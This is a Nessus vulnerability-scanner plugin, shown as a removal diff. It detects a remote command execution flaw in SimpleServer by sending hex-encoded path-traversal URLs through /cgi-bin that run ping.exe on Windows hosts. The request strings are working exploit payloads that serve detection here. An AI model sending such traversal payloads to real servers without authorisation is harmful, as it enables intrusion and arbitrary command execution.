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- #
- # This script was written by Mathieu Meadele <mm@omnix.net>
- #
- # Script audit and contributions from Carmichael Security <http://www.carmichaelsecurity.com>
- # Erik Anderson <eanders@carmichaelsecurity.com>
- # Added BugtraqID
- #
- # (minor changes by rd)
- #
-
-
- if(description)
- {
- script_id(10705);
- script_bugtraq_id(3112);
- script_version ("$Revision: 1.12 $");
- name["english"] = "SimpleServer remote execution";
- name["francais"] = "SimpleServer execution de commandes a distance";
-
- script_name(english:name["english"], francais:name["francais"]);
-
- desc["english"] ="
- By sending a specially encoded string to the remote server,
- it is possible to execute remote commands with the
- privileges of the server.
-
- Solution: Upgrade SimpleServer to version 1.15.
- Risk factor : High";
-
- script_description(english:desc["english"]);
-
- summary["english"] = "Check the remote execution vulnerability in SimpleServer";
-
- script_summary(english:summary["english"]);
-
- script_category(ACT_GATHER_INFO);
-
- script_copyright(english: "Mathieu Meadele <mm@omnix.net>");
-
- family["english"] = "Gain root remotely";
- family["francais"] = "Passer root α distance";
- script_family(english:family["english"], francais:family["francais"]);
- script_dependencie("find_service.nes");
- script_require_ports("Services/www", 80);
- exit(0);
- }
-
- # we are sending a hexadecimal encoded url, with the cgi-bin prefix,
- # (even if this one doesn't exist), this allowing us to break out the root
- # folder.
-
- # start here
-
-
- include("http_func.inc");
-
- port = get_http_port(default:80);
-
-
- if(!get_port_state(port))exit(0);
-
-
- match = "Reply from 127.0.0.1";
-
- strnt = http_get(item:string("/cgi-bin/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%57%49%4E%4E%54%2F%73%79%73%74%65%6D%33%32%2Fping.exe%20127.0.0.1"),
- port:port);
-
- str9x = http_get(item:string("/cgi-bin/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%57%69%6E%64%6F%77%73%2Fping.exe%20127.0.0.1"),
- port:port);
-
-
- soc = http_open_socket(port);
- if(soc)
- {
- send(socket:soc, data:str9x);
- inc1 = http_recv(socket:soc);
- http_close_socket(soc);
- if( match >< inc1 ) {
- security_hole(port);
- exit(0);
- }
- }
-
- soc = http_open_socket(port);
- if(soc)
- {
- send(socket:soc, data:strnt);
- inc2 = http_recv(socket:soc);
- http_close_socket(soc);
-
- if( match >< inc2 ) {
- security_hole(port);
- }
- }
-
-